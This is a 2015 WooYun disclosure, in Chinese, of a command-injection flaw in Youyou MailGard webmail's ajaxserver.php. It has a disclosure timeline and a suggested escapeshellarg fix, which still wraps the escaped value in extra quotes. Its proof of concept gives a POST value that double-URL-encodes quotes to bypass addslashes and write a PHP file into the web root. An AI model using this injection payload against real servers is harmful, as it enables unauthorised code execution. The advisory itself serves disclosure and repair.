漏洞概要 关注数(11) 关注此漏洞
缺陷编号: WooYun-2015-97939
漏洞标题: 佑友mailgard webmail命令执行之二
相关厂商: 深圳市河辰通讯技术有限公司
漏洞作者: f4ckbaidu
提交时间: 2015-02-23 22:23
公开时间: 2015-05-31 09:04
漏洞类型: 命令执行
危害等级: 高
自评Rank: 20
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php 系统命令执行
漏洞详情
披露状态:
2015-02-23: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开
简要描述:
与wooyun-2015-097649类似的命令执行漏洞
详细说明:
在wooyun-2015-097649的基础上补充下
先来看下全局函数:(/var/www/newmail/include/common.php)
可以看到对GPC的value做了addslashes处理
其实还包含了360的webscan防注入,这里没啥关系就不贴了
再来看/var/www/newmail/src/ajaxserver.php的问题代码:
问题在于:
$file_name = urldecode($_POST['file_name']);
exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);
虽然exec函数里$file_name有单引号包含,但是$file_name = urldecode($_POST['file_name']);,可以2次urlencode单引号绕过addslashes
POC如下:
1、找个账号登录http://**.**.**.**/
2、打开http://**.**.**.**/src/ajaxserver.php?exec=saveToNet&sd=aa:admin
3、POST net_dir=a&file_name=%2527|echo %2527<?php phpinfo();?>%2527>/var/www/newmail/phpinfo.php%2527
4、访问http://**.**.**.**/phpinfo.php
漏洞证明:
修复方案:
exec("cd '".$dir."'; cp '".escapeshellarg($file_name)."' '".$movefile."'",$rs,$res);
版权声明:转载请注明来源 f4ckbaidu@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:14
确认时间:2015-03-02 09:04
厂商回复:
暂未建立与网站管理单位的直接处置渠道,待认领。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值